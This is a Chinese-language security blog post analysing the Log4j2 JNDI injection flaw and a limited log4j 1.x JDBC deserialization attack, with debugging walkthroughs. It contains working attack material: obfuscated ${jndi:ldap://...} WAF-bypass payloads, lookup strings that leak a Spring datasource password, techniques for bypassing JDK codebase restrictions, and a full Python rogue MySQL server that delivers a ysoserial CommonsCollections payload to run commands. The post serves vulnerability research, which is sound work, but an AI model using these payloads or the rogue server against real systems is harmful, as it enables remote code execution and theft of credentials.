<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    log4j2 JNDI注入分析筆記

    一顆小胡椒2021-12-27 14:21:50

    前言

    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。

    JNDI簡介

    JNDI 全稱為 Java Naming and Directory Interface,即 Java 名稱與目錄接口。本質上就是一個接口,ND代表的Naming 和 Directory,分別代表Naming Service(名稱服務)Directory Service(目錄服務)。參考JNDI 注入漏洞的前世今生

    名稱服務就是通過名稱查找實際對象的服務,例如:通過域名尋找ip地址即DNS服務、文件系統、以及LDAP( Lightweight Directory Access Protocol即輕量級目錄訪問協議都是名稱服務,不同的是LDAP(RFC2251(RFC4511) )是一個協議,是和HTTP一樣是通用的,而不止局限于JAVA.目錄服務是名稱服務的一種拓展,除了名稱服務中已有的名稱到對象的關聯信息外,還允許對象擁有屬性(attributes)信息。由此,我們不僅可以根據名稱去查找(lookup)對象(并獲取其對應屬性),還可以根據屬性值去搜索(search)對象。目錄服務也是一種特殊的名稱服務,關鍵區別是在目錄服務中通常使用搜索(search)操作去定位對象,而不是簡單的根據名稱查找(lookup)去定位。

    JNDI 架構上主要包含兩個部分,即 Java 的應用層接口和 SPI,SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統一接口,從而實現目錄服務的可插拔式安裝,如下圖所示:


    如上JNDI為不同的目錄服務提供統一的操作接口

    JDK 中包含了下述內置的目錄服務:

    • RMI: Java Remote Method Invocation,Java 遠程方法調用;
    • LDAP: 輕量級目錄訪問協議;
    • CORBA: Common Object Request Broker Architecture,通用對象請求代理架構,用于 COS 名稱服務(Common Object Services);

    RMI

    RMI(Remote Method Invocation)即java的遠程方法調用,Java RMI是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法并獲取執行結果,即JAVA的RPC機制。關于RMI需要注意以下兩點:

    1. RMI的傳輸是基于反序列化的。
    2. 對于任何一個以對象為參數的RMI接口,你都可以發一個自己構建的對象,迫使服務器端將這個對象按任何一個存在于服務端classpath(不在classpath的情況,可以看后面RMI動態加載類相關部分)中的可序列化類來反序列化恢復對象。

    更多可以參考:https://paper.seebug.org/1091/#java-rmi_1

    LDAP

    LDAP即是JNDI SPI支持的Service Provider之一,但同時也是協議。是早期 X.500 DAP (目錄訪問協議) 的一個子集,因此有時也被稱為 X.500-lite。LDAP目錄服務是由目錄數據庫和一套訪問協議組成的系統,目錄服務是一個特殊的數據庫,用來保存描述性的、基于屬性的詳細信息,能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP目錄服務基于客戶端-服務器模型,它的功能用于對一個存在目錄數據庫的訪問。LDAP目錄和RMI注冊表的區別在于是前者是目錄服務,并允許分配存儲對象的屬性。

    LDAP 的目錄信息是以樹形結構進行存儲的,在樹根一般定義國家(c=CN)或者域名(dc=com),其次往往定義一個或多個組織(organization,o)或組織單元(organization unit,ou)。一個組織單元可以包含員工、設備信息(計算機/打印機等)相關信息。

    一些定義:

    漏洞環境

    pom.xml"1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  <modelVersion>4.0.0modelVersion>  <groupId>org.examplegroupId>  <artifactId>log4j-testartifactId>  <version>1.0-SNAPSHOTversion>  <dependencies>      <dependency>          <groupId>org.apache.logging.log4jgroupId>          <artifactId>log4j-apiartifactId>          <version>2.9.0version>      dependency>      <dependency>          <groupId>org.apache.logging.log4jgroupId>          <artifactId>log4j-coreartifactId>          <version>2.9.0version>      dependency>  dependencies>
    project>log4jTest.javaimport org.apache.logging.log4j.LogManager;
    public class log4jTest {  //獲取日志記錄器Logger,名字為本類類名  private static final Logger logger = LogManager.getLogger();  public static void main(String[] args) {      for(int i=0;i<2;i++){          logger.error("${jndi:ldap://$xxxx}");      }    }}
    

    漏洞分析

    產生原因

    Log4j2默認提供了Lookups功能,查找提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實現StrLookup接口的特定類型的插件。其中包括了對JNDI

    Lookup的支持,但是卻未對傳入內容進行任何限制,導致攻擊者可以JNDI注入,遠程加載惡意類到應用中,從而RCE。

    流程分析

    這里使用idea進行動態調試。

    首先f7跟進error方法:

    到達isEnabled,這里有個限制就是log 的level等級必須大于或等于配置的level,在測試的幾個版本中,不配置的情況下默認為ERROR,所以info之類的很多無法觸發漏洞,log4j2中, 共有8個級別,從低到高為:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。


    org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format
    

    處會對this.config和this.noLookups進行判斷,然后循環讀取,當遇到${

    就會觸發

    config.getStrSubstitutor().replace(event, value)
    

    對value進行進一步的格式化處理。

    跟進replace函數:

    繼續跟進substitute函數,這里主要是遞歸去處理我們傳入的內容,其中prefixMatcher和suffixMatcher分別匹配${和}。

    配置到${和}之后,就會把括號內的值賦給varName:

    在374行會varName會作為參數傳給resolveVariable:

    然后一路跟下去,resolveVariable方法這里則直接根據不同的協議選擇相應的lookup邏輯進行解析執行,通過log4j-core 自帶的JndiLookup進行處理JNDI URL, getVariableResolver()獲取支持的協議{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的協議略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j},所以2.15.0 rc1一些waf繞過也不是通用的。

    最終在jndiManager類,用java原生的javax.naming.InitialContext.lookup 去訪問,這一步是經典的JNDI注入,從而造成RCE。

    WAF 繞過

    由于整個處理過程是遞歸進行的,遇到${}就會處理一次,最后會把處理好的內容拼接在一起,然后傳值給resolveVariable方法,然后根據不同的協議進行進入相應的lookup方法,并且還內置一些分隔符的處理邏輯,例如:":-",造成一些繞過。

    可以構造這樣的payload:

    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}
    

    當匹配到":-"會進行下面的處理,會把匹配${}轉化為字符數組,然后對這個數組進行遍歷,遇到":-"就會使用substring函數把":-"之前的內容包括給":-"截掉,這里":-"不分先后,例如"-:",因為是作為一個數組匹配的,只要在一起就行。所以便有了千奇百怪的繞waf手法。

    substitute會遞歸處理每一個${},第一輪"::-j"會被換為"j"。

    所以還可以用lower, upper等支持的協議進行一些繞過,例如:

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    

    但是部分版本支持的協議不太一樣,這點需要注意一下。部分版本不支持lower, upper等協議,例如:2.9.0

    外帶敏感信息

    在不能RCE的情況下,可以通過dnslog等方式外帶一些敏感信息,例如

    ${hostName}

    ${sys:user.dir}

    ${sys:java.version}

    ${java:os}

    .........

    更多可以參考官方的https://www.doc?s4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的協議用法

    @淺藍師傅發現了危害更大一種利用方式,就是利用Bundle協議讀取項目配置文件來獲取敏感信息,例如讀取 springboot 的application.properties 配置文件獲取 redis、mysql 的配置項等敏感信息:

    ${bundle:application:spring.datasource.password}
    

    RCE的一些限制

    JNDI注入有很多種不同的利用pyload,但是都存在一些限制條件。

    JDK 中默認支持的 JNDI 自動協議轉換以及對應的工廠類如下所示:

    RMI

    從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。從JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務中JNDI Reference遠程加載Object Factory類的特性。系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許從遠程的Codebase加載Reference工廠類。

    LDAP

    2018年10月,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,

    手動開啟上面的屬性,可以通過代碼實現,如下:

    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    
    繞過JDK版本限制

    繞過一般需要利用受害者CLASSPATH的類,依賴于本地的Gadget,常用的有下面兩種手法:

    1. 找到一個受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,并利用這個本地的Factory類執行命令。
    2. 利用LDAP直接返回一個惡意的序列化對象,JNDI注入依然會對該對象進行反序列化操作,利用反序列化Gadget完成命令執行。

    第一種繞過手法常用的是org.apache.naming.factory.BeanFactory這個類,因為它存在于Tomcat依賴包中,所以應用比較廣泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,并且會調用setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自于Reference對象,均是攻擊者可控的。

    第二種繞過手法需要利用一個本地的反序列化利用鏈(如CommonsCollections),然后可以結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。

    log4j1.x有限制的RCE

    log4j 1.x 已停產,不會發布修復版本。目前大多使用的都是log4j2.x,但是還有少部分老舊業務使用的是1.x。這里的利用方式,比較雞肋,所以只是記錄一下,結合MySQL JDBC的利用方式。這里跟JNDI沒啥關系。

    環境搭建

    log4j.propertieslog4j.rootLogger=DEBUG,database  
    log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender  #數據庫地址log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  log4j.appender.database.driver=com.mysql.jdbc.Driver  log4j.appender.database.user=rootlog4j.appender.database.password=rootlog4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')  #log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.propertiespom.xml<project xmlns="http://maven.apache.org/POM/4.0.0"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  <modelVersion>4.0.0modelVersion>  <groupId>org.examplegroupId>  <artifactId>log4j-testartifactId>  <version>1.0-SNAPSHOTversion>  <dependencies>      <dependency>          <groupId>log4jgroupId>          <artifactId>log4jartifactId>          <version>1.2.17version>      dependency>      <dependency>          <groupId>commons-collectionsgroupId>          <artifactId>commons-collectionsartifactId>          <version>3.2.1version>      dependency>      <dependency>          <groupId>mysqlgroupId>          <artifactId>mysql-connector-javaartifactId>          <version>8.0.12version>      dependency>  dependencies>project>log4jTest.javaimport org.apache.log4j.Logger;import javax.naming.NamingException;public class log4jTest {  //獲取日志記錄器Logger,名字為本類類名  public static void main(String[] args) throws NamingException {          //PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties");            Logger logger = Logger.getLogger(log4jTest.class);            logger.error("error");    }}
    

    漏洞分析

    知識點

    JDBC簡介

    JDBC是Java DataBase Connectivity的縮寫,它是Java程序訪問數據庫的標準接口。使用Java程序訪問數據庫時,Java代碼并不是直接通過TCP連接去訪問數據庫,而是通過JDBC接口來訪問,而JDBC接口則通過JDBC驅動來實現真正對數據庫的訪問。

    常用配置格式:

    MYSQL JDBC反序列化漏洞原理

    BlackHat Europe 2019 的議題《New Exploit Technique In Java Deserialization Attack》公布了MYSQL JDBC的反序列化利用鏈,原理是在使用MYSQL JDBC連接數據庫的時候,會執行幾個內置的sql查詢語句,其中SHOW SESSION STATUS和SHOW COLLATION兩個查詢的結果集在MySQL客戶端被處理時會調用ObjectInputStream.readObject()進行反序列化操作,如果攻擊者搭建惡意MySQL服務器來控制這兩個查詢的結果集,如果JDBC連接是可控的,那么就能觸發MySQL JDBC客戶端反序列化漏洞。(需要mysql-java-connector <8.0.23)。

    mysql惡意服務器# coding=utf-8import socketimport binasciiimport os
    greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"
    def receive_data(conn):  data = conn.recv(1024)  print("[*] Receiveing the package : {}".format(data))  return str(data).lower()
    def send_data(conn,data):  print("[*] Sending the package : {}".format(data))  conn.send(binascii.a2b_hex(data))
    def get_payload_content():  #file文件的內容使用ysoserial生成的 使用規則:java -jar ysoserial [Gadget] [command] > payload  file= r'payload'  if os.path.isfile(file):      with open(file, 'rb') as f:          payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')      print("open successs")
      else:      print("open false")      #calc      payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'  return payload_content
    # 主要邏輯def run():
      while 1:      conn, addr = sk.accept()      print("Connection come from {}:{}".format(addr[0],addr[1]))
          # 1.先發送第一個 問候報文      send_data(conn,greeting_data)
          while True:          # 登錄認證過程模擬 1.客戶端發送request login報文 2.服務端響應response_ok          receive_data(conn)          send_data(conn,response_ok_data)
              #其他過程          data=receive_data(conn)          #查詢一些配置信息,其中會發送自己的 版本號          if "session.auto_increment_increment" in data:              _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'              send_data(conn,_payload)              data=receive_data(conn)          elif "show warnings" in data:              _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'              send_data(conn, _payload)              data = receive_data(conn)          if "set names" in data:              send_data(conn, response_ok_data)              data = receive_data(conn)          if "set character_set_results" in data:              send_data(conn, response_ok_data)              data = receive_data(conn)          if "show session status" in data:              mysql_data = '0100000102'              mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'              mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'              # 為什么我加了EOF Packet 就無法正常運行呢??              # 獲取payload              payload_content=get_payload_content()              # 計算payload長度              payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)              payload_length_hex = payload_length[2:4] + payload_length[0:2]              # 計算數據包長度              data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)              data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]              mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex              mysql_data += str(payload_content)              mysql_data += '07000005fe000022000100'              send_data(conn, mysql_data)              data = receive_data(conn)          if "show warnings" in data:              payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'              send_data(conn, payload)          break
    if __name__ == '__main__':  HOST ='0.0.0.0'  PORT = 3306
      sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #當socket關閉后,本地端用于該socket的端口號立刻就可以被重用.為了實驗的時候不用等待很長時間  sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  sk.bind((HOST, PORT))  sk.listen(1)
      print("start fake mysql server listening on {}:{}".format(HOST,PORT))
      run()
    

    可以用ysoserial生成CC7的payload,然后運行惡意MySQL服務器進行監聽。

    例如:

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
    

    放在mysql服務器的py文件同級目錄,并且運行mysq服務器。

    流程分析

    log4j三大組件為Logger、Appender、Layout。Logger負責收集處理日志記錄,Layout負責日志輸出的形式,而Appender負責配置日志的輸出位置和方式。

    其中Appender可以配置的一種方式為數據庫輸出(JDBCAppender),通過JDBC鏈接把日志輸出到數據庫中,配置時需要配置JDBC驅動,連接字符串,用戶名,密碼以及SQL語句。

    我們直接把斷點打在JDBCAppender.java的getConnection()處,因為這也是MYSQL JDBC反序列化的執行點。

    調用鏈如下:


    成功執行:

    但是正常情況下我們是無法控制log4j的配置文件的,所以是比較雞肋的,但是一些可以動態配置服務的,例如nacos,也許可以找到利用方式。


    但是不知道是否支持log4j1.x,:)。

    log4jjdbc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
    近日,Apache官方發布了多個安全漏洞的公告,包括Apache log4j 代碼問題漏洞(CNNVD-202201-1425、CVE-2022-23307)、Apache Log4j SQL注入漏洞(CNNVD-202201-1421、CVE-2022-23305)、Apache log4j 代碼問題漏洞(CNNVD-202201-1420、CVE-2022-23302)等。成功利用上述漏洞的攻
    近日,Apache官方發布了多個安全漏洞的公告,包括Apache log4j 代碼問題漏洞(CNNVD-202201-1425、CVE-2022-23307)、Apache Log4j SQL注入漏洞(CNNVD-202201-1421、CVE-2022-23305)、Apache log4j 代碼問題漏洞(CNNVD-202201-1420、CVE-2022-23302)等。成功利用上述漏洞的攻
    2022年1月19日,360漏洞云團隊監測到Apache發布安全公告,修復了多個存在于Apache Log4j中的漏洞。其中,1個嚴重漏洞,2個高危漏洞。Apache Log4j反序列化漏洞漏洞編號CVE-2022-23307漏洞類型反序列化漏洞等級嚴重公開狀態未知在野利用未知漏洞描述由于處理序列化數據時不安全的輸入驗證而存在該漏洞。
    2021年12月29日,360漏洞云團隊監測到Apache官方發布了安全更新,修復了一個Apache Log4j2組件中存在的遠程代碼執行漏洞。漏洞編號:CVE-2021-44832,漏洞威脅等級:中危,漏洞評分:6.6。
    騰訊云安全運營中心監測到,Apache Log4j2 官方發布公告提示其在某些特殊場景下存在遠程代碼執行漏洞,漏洞編號CVE-2021-44832。該漏洞僅在攻擊者擁有修改配置文件權限時才可遠程執行任意代碼,漏洞利用難度較大。 為避免您的業務受影響,騰訊云安全建議您及時開展安全自查,如在受影響范圍,請您及時進行更新修復,避免被外部攻擊者入侵。
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    假設Mysql中canal_test庫下有一張表policy_cred,需要統計實時統計policy_status狀態為1的mor_rate的的變化趨勢,并標注比率的風險預警等級。?本次安裝的canal版本為1.1.2,Canal版本最后在1.1.1之后。server端采用MQ模式,MQ選用Kafka。服務器系統為Centos
    漏洞——即將進行概念驗證——是該公司修復的一系列可能導致攻擊鏈的缺陷之一。
    前言作為一個資深后端碼農天天都要和數據庫打交道,最早使用的是 Hiberate,一個封裝性極強的持久性框架。自從接觸到 Mybatis 就被它的靈活性所折服了,可以自己寫 SQL,雖然輕量級,但是麻雀雖小,五臟俱全。這篇文章就來講講什么是 Mybatis,如何簡單的使用 Mybatis。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类